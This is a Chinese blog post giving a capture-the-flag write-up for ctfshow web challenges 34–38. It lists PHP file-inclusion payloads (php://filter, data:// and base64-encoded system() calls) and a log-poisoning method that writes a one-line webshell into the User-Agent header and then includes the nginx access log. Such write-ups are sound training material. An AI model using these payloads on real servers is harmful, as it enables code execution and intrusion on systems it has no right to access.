ctfshow web入门 命令执行34-38

1.web34

和web33差不多,过滤了冒号

第一个为官方解法

payload:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>

2.web35

这题过滤了<,=和上题一样还是可以用

第一个为官方解法

payload:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>

3.web36

这题又过滤了数字,可以继续使用上题的payload,把数字改为字母即可

第一个为官方解法

payload:

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/plain,<?php system("nl flag.php")?>

4.web37

这题变为了文件包含类的文件执行,过滤了flag,php伪协议中的filter不行

第二个为官方解法

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==解码后是<?php system('cat flag.php');?>

c=data://text/palin,<?php system("nl fla*");?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
ua文件包含日志

ua头文件包含

通过信息搜集知道是什么类型的服务器,日志默认位置就知道了

nginx /var/log/nginx/access.log

apache Usr/local/apache/logs/access.log

burp抓包往ua中写入一句话木马

进行日志包含连接蚁剑,得到flag

http://xx/?c=/var/log/nginx/access.log

为什么在ua头进行日志包含,其他地方进行了编码,php代码不能正常执行

文件包含只能包含文件,或者用php伪协议去执行php代码或命令,<?php system("nl fla*")?>或system("nl fla*")是不行的

写一个php代码文件,代码是查看2.txt,再去包含,就可以查看了

5.web38

这题用过滤了file,php等

payload:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
ua头文件包含

posted @ 2023-12-05 19:24  mushangqiujin  阅读(78)  评论(0)    收藏  举报  来源